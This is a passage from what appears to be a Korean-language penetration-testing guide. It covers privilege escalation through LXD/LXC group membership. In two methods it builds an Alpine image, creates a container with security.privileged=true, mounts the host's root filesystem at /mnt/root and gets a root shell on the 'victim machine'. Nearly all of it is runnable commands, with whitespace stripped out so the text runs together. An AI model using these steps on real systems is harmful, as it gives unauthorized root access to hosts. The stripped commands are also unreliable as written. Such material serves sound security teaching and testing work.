sudosu# Install requirementssudoaptupdatesudoaptinstall-ygitgolang-godebootstraprsyncgpgsquashfs-tools# Clone repogitclonehttps://github.com/lxc/distrobuilder# Make distrobuildercddistrobuildermake# Prepare the creation of alpinemkdir-p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wgethttps://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml# Create the container## Using build-lxdsudo $HOME/go/bin/distrobuilderbuild-lxdalpine.yaml-oimage.release=3.18## Using build-lxcsudo $HOME/go/bin/distrobuilderbuild-lxcalpine.yaml-oimage.release=3.18
파일 lxd.tar.xz와 rootfs.squashfs를 업로드하고, 이미지를 레포지토리에 추가한 후 컨테이너를 생성합니다:
lxcimageimportlxd.tar.xzrootfs.squashfs--aliasalpine# Check the image is therelxcimagelist# Create the containerlxcinitalpineprivesc-csecurity.privileged=true# List containerslxclistlxcconfigdeviceaddpriveschost-rootdisksource=/path=/mnt/rootrecursive=true
이 오류 _Error: No storage pool found. Please create a new storage pool_를 발견하면
**lxd init**을 실행하고 이전 명령어 조각을 반복하세요.
마지막으로 컨테이너를 실행하고 root를 얻을 수 있습니다:
lxcstartprivesclxcexecprivesc/bin/sh[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
방법 2
Alpine 이미지를 빌드하고 security.privileged=true 플래그를 사용하여 시작하여 컨테이너가 호스트 파일 시스템과 루트로 상호 작용하도록 강제합니다.
# build a simple alpine imagegitclonehttps://github.com/saghul/lxd-alpine-buildercdlxd-alpine-buildersed-i's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",'build-alpinesudo./build-alpine-ai686# import the imagelxcimageimport./alpine*.tar.gz--aliasmyimage# It's important doing this from YOUR HOME directory on the victim machine, or it might fail.# before running the image, start and configure the lxd storage pool as defaultlxdinit# run the imagelxcinitmyimagemycontainer-csecurity.privileged=true# mount the /root into the imagelxcconfigdeviceaddmycontainermydevicedisksource=/path=/mnt/rootrecursive=true